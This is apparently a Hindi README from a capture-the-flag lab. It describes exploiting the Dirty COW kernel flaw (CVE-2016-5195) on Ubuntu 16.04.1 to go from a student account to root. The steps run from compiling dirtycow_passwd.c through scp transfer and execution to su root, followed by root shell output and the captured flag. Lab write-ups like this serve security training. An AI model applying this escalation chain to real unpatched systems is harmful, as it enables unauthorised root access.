dirtycow-lab

Ubuntu 16.04.1 पर Dirty COW (CVE-2016-5195) भेद्यता का शोषण।

cat > README.md <<'EOF'

🐮 Dirty COW शोषण (CVE-2016-5195)

📌 विवरण

यह प्रयोगशाला कमजोर कर्नेल वाले Ubuntu Server 16.04.1 सिस्टम पर Dirty COW भेद्यता के शोषण को प्रदर्शित करती है।
उद्देश्य एक सीमित उपयोगकर्ता (student) से root तक विशेषाधिकार वृद्धि करना और /root/flag.txt में स्थित फ्लैग को कैप्चर करना था।

🛠️ किया गया प्रक्रिया

1. कर्नेल सत्यापन: Linux 4.4.0-31-generic (कमजोर)।
2. एक्सप्लॉइट संकलन: Docker ubuntu:16.04 के अंदर Kali में dirtycow_passwd.c को संकलित किया गया → बाइनरी dirty।
3. स्थानांतरण: scp dirty student@<IP>:~/।
4. निष्पादन और वृद्धि: chmod +x ~/dirty && ~/dirty → su root (पासवर्ड dirtyCowFun)।
5. फ्लैग: cat /root/flag.txt → 4GEEKS{Y0u_G0t_R00t}।

✅ परिणाम

root@ubuntu:/home/student# whoami
root
root@ubuntu:/home/student# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/student# cat /root/flag.txt
4GEEKS{Y0u_G0t_R00t}

प्राप्त फ्लैग